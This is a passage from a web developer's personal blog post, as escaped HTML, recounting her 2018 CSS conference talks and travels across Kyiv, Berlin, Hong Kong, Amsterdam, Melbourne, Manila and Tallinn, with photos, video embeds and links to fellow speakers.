&lt;p&gt;Another highlight was meeting &lt;a href=&quot;https://robinrendle.com/&quot;&gt;Robin Rendle&lt;/a&gt; in person while I was in San Franciso and he gave me the best recommendation to visit the &lt;a href=&quot;https://letterformarchive.org/&quot;&gt;Letterform Archive&lt;/a&gt;, best advice ever.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;I could have lived there…&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/smashing5-480.jpg 480w, /images/posts/talking-css-2018/smashing5-640.jpg 640w, /images/posts/talking-css-2018/smashing5-960.jpg 960w, /images/posts/talking-css-2018/smashing5-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/smashing5-640.jpg&quot; alt=&quot;Collection at the Letterpress Archive&quot;&gt;
&lt;/figure&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Ukraine&quot;&gt;🇺🇦&lt;/span&gt; @ You Gotta Love Frontend Kyiv&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://yglf.com.ua/&quot;&gt;YGLF Kyiv&lt;/a&gt; marked the start of my ridiculous summer conference schedule. Ridiculous because instead of remaining in Europe, I ping-ponged back and forth between Singapore and the various European cities. Yes, many friends have given me advice on how to avoid such a situation in future. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;ROFL&quot;&gt;🤣&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;So apparently, this was the first time the team in Kyiv organised a conference, but honestly, you&apos;d never have known because the entire conference was so well-run. I was really well taken care of as a speaker, and that line-up was amazing. I learned so much in the short span of 2 days.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Speakers, organisers and duck!&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/yglf-480.jpg 480w, /images/posts/talking-css-2018/yglf-640.jpg 640w, /images/posts/talking-css-2018/yglf-960.jpg 960w, /images/posts/talking-css-2018/yglf-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/yglf-640.jpg&quot; alt=&quot;Group photo with speakers and organisers after YGLF Kyiv&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;The format of the conference was really fun as well, with a mix of full-length talks and lightning talks, as well as 1-on-1 interviews with some of the speakers on the second day.&lt;/p&gt;
&lt;p&gt;Kyiv is definitely a city I want to come back and visit. There is still so much I hadn&apos;t yet seen, and the food I definitely loved. My Airbnb was right next to the &lt;a href=&quot;https://www.atlasobscura.com/places/toilet-history-museum&quot;&gt;Toilet History Museum&lt;/a&gt;, and my host and her daughter also gave me a list of places to visit (which sadly I couldn&apos;t cover them all).&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/hAL5MjhIqbs?rel=0&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;It was great to catch up with familiar faces and meet new friends too, like fellow basketball-playing developer, &lt;a href=&quot;https://twitter.com/BenedekGagyi&quot;&gt;Ben Gagyi&lt;/a&gt;, and V8 engineer, &lt;a href=&quot;http://benediktmeurer.de/&quot;&gt;Benedikt Meurer&lt;/a&gt;. Just had to point out a tale of 2 Bens. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;relieved face&quot;&gt;😌&lt;/span&gt; Check out all the photos from the conference! Here are the &lt;a href=&quot;https://photos.app.goo.gl/bjsMHJMkrkm5oXWB6&quot;&gt;Day 1 Photos&lt;/a&gt;, and these are the &lt;a href=&quot;https://photos.app.goo.gl/7s8ynmsDUKboH1eM6&quot;&gt;Day 2 Photos&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Even though I should have stayed put in Europe after this conference and made my way to Berlin from there, I went home to Singapore instead. Just in time to touch down back to Singapore and make it to the final game of our basketball season directly from the airport.&lt;/p&gt;
&lt;p&gt;We won. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with sunglasses&quot;&gt;😎&lt;/span&gt;&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Hillcrest Greys basketball team&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/cssconfeu-480.jpg 480w, /images/posts/talking-css-2018/cssconfeu-640.jpg 640w, /images/posts/talking-css-2018/cssconfeu-960.jpg 960w, /images/posts/talking-css-2018/cssconfeu-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/cssconfeu-640.jpg&quot; alt=&quot;2018 WNBL champions&quot;&gt;
&lt;/figure&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Germany&quot;&gt;🇩🇪&lt;/span&gt; @ CSSconf EU 2018&lt;/h2&gt;
&lt;p&gt;Being at &lt;a href=&quot;https://2018.cssconf.eu/&quot;&gt;CSSConf.EU&lt;/a&gt; and &lt;a href=&quot;https://2018.jsconf.eu/&quot;&gt;JSConf.EU&lt;/a&gt; was so surreal. It was truly an experience to remember. First of all, keep in mind that before 2018, I had never been to Europe before, much less attend a European conference. Berlin is a great city, and 5 days was definitely too short a trip. But back to how mind-blowing the conference was.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Audience at CSSConf.EU&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/cssconfeu2-480.jpg 480w, /images/posts/talking-css-2018/cssconfeu2-640.jpg 640w, /images/posts/talking-css-2018/cssconfeu2-960.jpg 960w, /images/posts/talking-css-2018/cssconfeu2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/cssconfeu2-640.jpg&quot; alt=&quot;View from the back of the hall at CSSConf.EU&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;First of all, so many people turning up just for CSS! And knowing that this number was probably going to be tripled (my best guess) for &lt;a href=&quot;http://JSConf.EU&quot;&gt;JSConf.EU&lt;/a&gt;? I just, no words. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;exploding head&quot;&gt;🤯&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I flew in to Berlin via London, and was actually &lt;em&gt;on the same plane&lt;/em&gt; as &lt;a href=&quot;https://twitter.com/Sareh88&quot;&gt;Sareh Heidari&lt;/a&gt;, one of my favouritest people ever, but didn&apos;t see her until we got off the plane! Soon after, I got to know &lt;a href=&quot;http://whitneyeliz.com/&quot;&gt;Whitney Williams&lt;/a&gt;, and thus we formed an unofficial trio for the rest of the conference.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;The three musketeers&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/cssconfeu3-480.jpg 480w, /images/posts/talking-css-2018/cssconfeu3-640.jpg 640w, /images/posts/talking-css-2018/cssconfeu3-960.jpg 960w, /images/posts/talking-css-2018/cssconfeu3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/cssconfeu3-640.jpg&quot; alt=&quot;Whitney, Sareh and I&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;One of the highlights at the conference was &lt;a href=&quot;https://hacks.mozilla.org/2018/06/babys-first-rustwebassembly-module-say-hi-to-jsconf-eu/&quot;&gt;the wonderful Mozilla Arch&lt;/a&gt;, that sadly, due to fire safety regulations, wasn&apos;t open for public to walk through. But it was still super cool, because anyone could program the Arch with a little bit of Rust code.&lt;/p&gt;
&lt;p&gt;Meeting up with team Mozilla at any time in any place is always something I look forward to. I finally managed to meet &lt;a href=&quot;https://twitter.com/misprintedtype&quot;&gt;Ola Gasidlo&lt;/a&gt; in person, who so kindly showed me around the Berlin office, and &lt;a href=&quot;https://www.youtube.com/watch?v=aOPgTWVtX78&quot;&gt;her talk about TCP/IP&lt;/a&gt; was one of my favourites. There were actual pancakes involved, nuff’ said.&lt;/p&gt;
&lt;p&gt;While working on this &lt;a href=&quot;http://CSSConf.EU&quot;&gt;CSSConf.EU&lt;/a&gt; talk in Kyiv, I suddenly got the idea to create “CSS trading cards”, making various layout techniques/properties into characters, like those players on baseball cards. I also decided to toss in a minor bit of live code into my slides (thank you &lt;code&gt;content-editable&lt;/code&gt;), because, why not? Thankfully, the code worked as planned. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;folded hands&quot;&gt;🙏&lt;/span&gt;&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/YpqKrVcth34?rel=0&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;Check out all the &lt;a href=&quot;https://www.flickr.com/photos/126843898@N02/&quot;&gt;conference photos&lt;/a&gt; plus the playlist for &lt;a href=&quot;https://www.youtube.com/watch?v=2aPjsb-kIks&amp;amp;list=PL37ZVnwpeshHJSJf46Rk4B8amvm7Ecu58&quot;&gt;CSSConf.EU 2018&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=SV-cgdobtTA&amp;amp;list=PL37ZVnwpeshG2YXJkun_lyNTtM-Qb3MKa&quot;&gt;JSConf.EU 2018&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Intermission: &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Hong Kong&quot;&gt;🇭🇰&lt;/span&gt; @ &lt;a href=&quot;http://Webconf.asia&quot;&gt;Webconf.asia&lt;/a&gt; 2018&lt;/h3&gt;
&lt;p&gt;If you read &lt;a href=&quot;/blog/talking-about-talking-css/&quot;&gt;last year&apos;s post&lt;/a&gt;, this conference might sound familiar. Yes, this was my first ever international talk (thank you, &lt;a href=&quot;https://twitter.com/charis&quot;&gt;Charis Rooda&lt;/a&gt; for taking a chance on me). Charis gave me free entry to this year&apos;s &lt;a href=&quot;https://www.webconf.asia/&quot;&gt;Webconf.asia&lt;/a&gt;, which was such a treat!&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;So this happened. Conference organisers, you have been warned…&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/webconfasia-480.jpg 480w, /images/posts/talking-css-2018/webconfasia-640.jpg 640w, /images/posts/talking-css-2018/webconfasia-960.jpg 960w, /images/posts/talking-css-2018/webconfasia-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/webconfasia-640.jpg&quot; alt=&quot;Co-hosting Day 2 of Webconf.asia with Charis Rooda&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;On Day 2, Charis let me crash the stage and co-host with her, which was great fun for me (not sure what the audience thought &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;). But that meant I got to introduce &lt;a href=&quot;https://meowni.ca/&quot;&gt;Monica Dinculescu&lt;/a&gt; and &lt;a href=&quot;http://valhead.com/&quot;&gt;Val Head&lt;/a&gt;, 2 people I&apos;ve fangirled over for a good long time &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with heart-eyes&quot;&gt;😍&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;One of my hopes for the future is that there will be more web conferences in this part of the world too. Near future, not far future &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;crossed fingers&quot;&gt;🤞&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;The Netherlands&quot;&gt;🇳🇱&lt;/span&gt; @ CSS Day 2018&lt;/h2&gt;
&lt;p&gt;I was especially nervous for this talk for a number of reasons. It was a brand new talk, I hadn&apos;t had that much time to work on it, and I was told the audience at &lt;a href=&quot;https://cssday.nl/2018&quot;&gt;CSS Day&lt;/a&gt; was very technical, so I was doubly worried that I would be telling them things they already knew.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;The rare shot where I actually look decent. Credit to &lt;a href=&quot;https://twitter.com/drewm&quot;&gt;Drew McLellan&lt;/a&gt;.&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/cssday-480.jpg 480w, /images/posts/talking-css-2018/cssday-640.jpg 640w, /images/posts/talking-css-2018/cssday-960.jpg 960w, /images/posts/talking-css-2018/cssday-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/cssday-640.jpg&quot; alt=&quot;On stage at CSS Day&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Some of you may know me as that person who keeps extolling the virtues of reading CSS specifications, and I really do read them. But for this talk, I poured over them, going through the relevant ones with a fine-toothed comb. So in the process, I learned a whole lot about alignment that I didn&apos;t know before.&lt;/p&gt;
&lt;p&gt;But first, let&apos;s talk about Amsterdam. Picturesque, I think, is an appropriate description of the city. After Kyiv and Berlin, I found that quite a number of people I know are based in Amsterdam as well.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Museumbrug, Amsterdam&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/cssday4-480.jpg 480w, /images/posts/talking-css-2018/cssday4-640.jpg 640w, /images/posts/talking-css-2018/cssday4-960.jpg 960w, /images/posts/talking-css-2018/cssday4-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/cssday4-640.jpg&quot; alt=&quot;The bridge just before you get to the museum district&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Like &lt;a href=&quot;https://razvancaliman.com/&quot;&gt;Razvan Caliman&lt;/a&gt;, creator of the CSS Shapes editor chrome extension, and now part of the Firefox Devtools team, the incredible &lt;a href=&quot;http://rachelnabors.com/&quot;&gt;Rachel Nabors&lt;/a&gt;, whom I first met at &lt;a href=&quot;http://JSConf.EU&quot;&gt;JSConf.EU&lt;/a&gt;, &lt;a href=&quot;https://stephanie.lol/&quot;&gt;Stephanie Nemeth&lt;/a&gt;, whose &lt;a href=&quot;https://www.youtube.com/watch?v=LT3OD6V6mtA&quot;&gt;Haute Codeture&lt;/a&gt; talk at &lt;a href=&quot;http://JSConf.EU&quot;&gt;JSConf.EU&lt;/a&gt; blew all of us away. I could go on.&lt;/p&gt;
&lt;p&gt;And then, there are my typography friends, &lt;a href=&quot;https://twitter.com/pixelambacht&quot;&gt;Roel Nieskens&lt;/a&gt;, who I&apos;ve been chatting with regularly on Twitter and Slack prior to meeting, and &lt;a href=&quot;http://clagnut.com/&quot;&gt;Richard Rutter&lt;/a&gt;, who I only met properly for the first time at this conference. If you don&apos;t know Roel, he has been crowned (by me) as winner of the best named project in the world award, for &lt;a href=&quot;https://wakamaifondue.com/&quot;&gt;Wakamai Fondue&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Team NiceWebType at CSS Day&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/cssday2-480.jpg 480w, /images/posts/talking-css-2018/cssday2-640.jpg 640w, /images/posts/talking-css-2018/cssday2-960.jpg 960w, /images/posts/talking-css-2018/cssday2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/cssday2-640.jpg&quot; alt=&quot;Roel, Richard and I&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;I had followed Richard for a while now, because, you know, web typography, so it was really nice to meet him in person and chat with him. I also bought the physical copy of &lt;a href=&quot;http://book.webtypography.net/&quot;&gt;Web Typography&lt;/a&gt; and he signed it for me!&lt;/p&gt;
&lt;p&gt;While preparing for the talk, I figured, since I was going to be talking about box alignment, it would make sense to have a box illustration in my slides, right? We-ll, one box turned into five, and then before I knew it, there was a village of boxes all over the presentation. It just happened. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Box fam. #squad&lt;/figcaption&gt;
    &lt;img style=&quot;max-height:20em&quot; src=&quot;/images/posts/talking-css-2018/box-fam.svg&quot; alt=&quot;Box village&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;It turns out, Boxy (naming things is hard, my friends) was pretty popular and &lt;a href=&quot;https://hiddedevries.nl/en/&quot;&gt;Hidde&lt;/a&gt; (another friend based in Amsterdam, fellow Mozillian and great speaker) suggested making Boxy stickers. What an idea, what an idea…&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;One last dinner before going home&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/cssday3-480.jpg 480w, /images/posts/talking-css-2018/cssday3-640.jpg 640w, /images/posts/talking-css-2018/cssday3-960.jpg 960w, /images/posts/talking-css-2018/cssday3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/cssday3-640.jpg&quot; alt=&quot;Rachel, Diego and I&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Is doing 3 different talks within the span of a month a bad idea? Well, now that I&apos;ve come out the other side relatively unscathed, I&apos;ll say it&apos;s hectic, but rewarding. Although I never really relaxed until this talk was over and I could take a breath without thinking about the next talk (at least for a little bit).&lt;/p&gt;
&lt;iframe src=&quot;https://player.vimeo.com/video/289479045&quot; width=&quot;640&quot; height=&quot;360&quot; frameborder=&quot;0&quot; webkitallowfullscreen mozallowfullscreen allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Australia&quot;&gt;🇦🇺&lt;/span&gt; @ Web Directions Code 2018&lt;/h2&gt;
&lt;p&gt;I stayed put for the month of July, but it&apos;s time for another round on the conference circuit (that&apos;s what I&apos;m going to call all this travel in 2018). This time I&apos;m travelling south, to the land Down Under for &lt;a href=&quot;https://www.webdirections.org/code/&quot;&gt;Web Directions Code&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you&apos;ve ever been to Singapore, you&apos;ll know that we have hot and humid weather. ALL THE TIME. Jackets are worn in air-conditioned rooms, not outdoors. So call me weird but to be in Melbourne during winter was nice for me.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Don&apos;t think we&apos;d get the same effect if the lights were green&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/code-480.jpg 480w, /images/posts/talking-css-2018/code-640.jpg 640w, /images/posts/talking-css-2018/code-960.jpg 960w, /images/posts/talking-css-2018/code-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/code-640.jpg&quot; alt=&quot;Cool purple lights&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;There was a general consensus among the speakers that the purple lights, which were in line with the conference theme colours, made for really good photos. Not sure if it was planned or just a coincidence, but &lt;a href=&quot;https://www.webdirections.org/leaders/&quot;&gt;Code Leaders&lt;/a&gt; theme colour was green. Don&apos;t think green lights would have had the same effect though. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Normally I have my talk cemented weeks before the actual conference, but I had a very busy July at work in addition to other commitments like &lt;a href=&quot;http://www.techladies.co/&quot;&gt;TechLadies&lt;/a&gt; and basketball, so I found myself adding stuff to my slides just before I was due to go on stage. I don&apos;t recommend this at all, but hey, life happens.&lt;/p&gt;
&lt;p&gt;The Code audience was really warm and responsive, which made it very reassuring as a speaker. There were some issues because my laptop lost WiFi connection halfway through and I chose this once to use &lt;a href=&quot;https://caniuse.bitsofco.de/&quot;&gt;Can I use… embeds&lt;/a&gt; directly instead of screenshot-ing them like I normally did. Murphy&apos;s Law.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Full house for both days with around 300 attendees&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/code2-480.jpg 480w, /images/posts/talking-css-2018/code2-640.jpg 640w, /images/posts/talking-css-2018/code2-960.jpg 960w, /images/posts/talking-css-2018/code2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/code2-640.jpg&quot; alt=&quot;Captivated audience at Web Directions Code&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;But because I was going a mile a minute, I had time to ask the superb AV-in-charge to help me sort things out. And the show went on. The part I chose to add in the morning was a section about non-rectangular-ness on the web, with all the Beyoncé-related examples I could dig up at short notice.&lt;/p&gt;
&lt;p&gt;Web Directions Code was a spectacular conference. Every talk was chock full of useful information and I met so many awesome people. I got to see &lt;a href=&quot;https://mandymichael.com/&quot;&gt;Mandy Michael&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/the_patima&quot;&gt;Patima Tantiprasut&lt;/a&gt; and &lt;a href=&quot;https://philna.sh/&quot;&gt;Phil Nash&lt;/a&gt; again. Patima&apos;s keynote was stellar and I can&apos;t wait to share it when the videos are released. Mandy (who is officially friend of Talk.CSS for eternity) was brilliant as usual, and her slides were super gorgeous.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Road Trip!&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/code3-480.jpg 480w, /images/posts/talking-css-2018/code3-640.jpg 640w, /images/posts/talking-css-2018/code3-960.jpg 960w, /images/posts/talking-css-2018/code3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/code3-640.jpg&quot; alt=&quot;Mike, myself and Sara&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;After the event wrapped up, some of us stuck around for an extra day in Melbourne, and so Road Trip! It was &lt;a href=&quot;https://www.sarasoueidan.com/&quot;&gt;Sara Soueidan&lt;/a&gt;, &lt;a href=&quot;https://www.madebymike.com.au/&quot;&gt;Mike Riethmuller&lt;/a&gt; and I along the Great Ocean Road. There were kangaroos, birds and the splendour of mother nature. An all-round great time in the land down under. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Philippines&quot;&gt;🇵🇭&lt;/span&gt; @ Form Function &amp;amp; Class 9&lt;/h2&gt;
&lt;p&gt;This is my third Form Function &amp;amp; Class, and this conference will always have a special place in my heart. It was the first conference I ever attended (back in 2014, and I dragged &lt;a href=&quot;https://zellwk.com/&quot;&gt;Zell&lt;/a&gt; to go with me). I gave a talk here last year, and came back again to hold a CSS grid workshop.&lt;/p&gt;
&lt;p&gt;As someone who&apos;s involved with conference organising myself, I could fully understand the stress of the organisers when the Manila Airport SHUT DOWN the day all the speakers were due to fly in because of a &lt;a href=&quot;https://www.philstar.com/nation/2018/08/18/1843524/xiamen-airlines-plane-skids-rain-slick-naia-runway&quot;&gt;plane crash-landing&lt;/a&gt; earlier in the morning. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face screaming in fear&quot;&gt;😱&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I ended up being the only speaker who got here on the scheduled travel day, maybe because I flew on Philippine Airlines…? As a result, my workshop was the only one running on the conference day itself. I did make an impromptu edit to my slides. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;pointing down&quot;&gt;👇&lt;/span&gt;&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Workshop wouldn&apos;t have happened without PAL&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/ffc9a-480.jpg 480w, /images/posts/talking-css-2018/ffc9a-640.jpg 640w, /images/posts/talking-css-2018/ffc9a-960.jpg 960w, /images/posts/talking-css-2018/ffc9a-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/ffc9a-640.jpg&quot; alt=&quot;Got here on a PAL flight&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Attendees of the other 2 workshops got inadvertently diverted to mine, so instead of a cosy 20-30 audience, it became more than 100 attendees. No pressure. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;astonished face&quot;&gt;😲&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Well, CSS grid for everyone then. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Day 1 class picture&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/talking-css-2018/ffc9b.jpg&quot; srcset=&quot;/images/posts/talking-css-2018/ffc9b@2x.jpg 2x&quot; alt=&quot;Day 1 of Form Function &amp; Class 9&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Thankfully, &lt;a href=&quot;https://foobartel.com/&quot;&gt;Holgar&lt;/a&gt; managed to land later that evening, while &lt;a href=&quot;https://www.smashingmagazine.com/author/vitaly-friedman/&quot;&gt;Vitaly&lt;/a&gt; finally got in and through Manila airport at 4.30am the next day. The troopers that they were, we got the 2 workshops rolling by 9.30am. Respect. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;raising hands&quot;&gt;🙌&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;FFC has been part of my web development career from the beginning and they really are the pride of the Southeast-Asian web community. The organisers are a taking a well-deserved hiatus for the indeterminate future, which makes this experience all the more precious. Love them always. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Estonia&quot;&gt;🇪🇪&lt;/span&gt; @ Refresh 2018&lt;/h2&gt;
&lt;p&gt;Before I even say anything about the conference, let&apos;s talk about Finnair&apos;s Northen Lights cabin display. I mean, look at it. Maybe I&apos;m easily impressed but this was such a nice touch.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en-gb&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;I love the Northern Lights display in the &lt;a href=&quot;https://twitter.com/Finnair?ref_src=twsrc%5Etfw&quot;&gt;@Finnair&lt;/a&gt; cabin 😍 &lt;a href=&quot;https://t.co/zLg7TioXZX&quot;&gt;pic.twitter.com/zLg7TioXZX&lt;/a&gt;&lt;/p&gt;&amp;mdash; HJ Chen @ Refresh 🇪🇪 (@hj_chen) &lt;a href=&quot;https://twitter.com/hj_chen/status/1037179458564882434?ref_src=twsrc%5Etfw&quot;&gt;5 September 2018&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;In addition to this being my first time in Estonia, it was also the first multi-track conference I spoke at. I&apos;ve only ever been an attendee at a multi-track conference and I had this uneasy feeling that I would be addressing an empty room because I&apos;m not a known speaker, and I was covering a rather niche topic.&lt;/p&gt;
&lt;p&gt;But I remembered something &lt;a href=&quot;https://twitter.com/SandraPersing&quot;&gt;Sandra Persing&lt;/a&gt; told me early on during the Mozilla Developer Roadshow, that every talk is a performance, and we owe it to the audience to deliver a good one every time, regardless of the circumstances. So when I had to start my talk facing a barely half-filled room, I channelled my inner Beyoncé and let it rip.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2018/refresh2-480.jpg 480w, /images/posts/talking-css-2018/refresh2-640.jpg 640w, /images/posts/talking-css-2018/refresh2-960.jpg 960w, /images/posts/talking-css-2018/refresh2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/refresh2-640.jpg&quot; alt=&quot;On stage at Refresh 2018&quot;&gt;
&lt;p&gt;I opened up by thanking the audience who were present, because honestly, there was another session going on at the same time that I wanted to attend. Here&apos;s also where having friendly faces in the audience really helped, with &lt;a href=&quot;https://codecraft.tv/&quot;&gt;Asim Hussien&lt;/a&gt; and &lt;a href=&quot;http://miloszpiechocki.com/&quot;&gt;Milosz Piechocki&lt;/a&gt; right in the front row.&lt;/p&gt;
&lt;figure&gt;
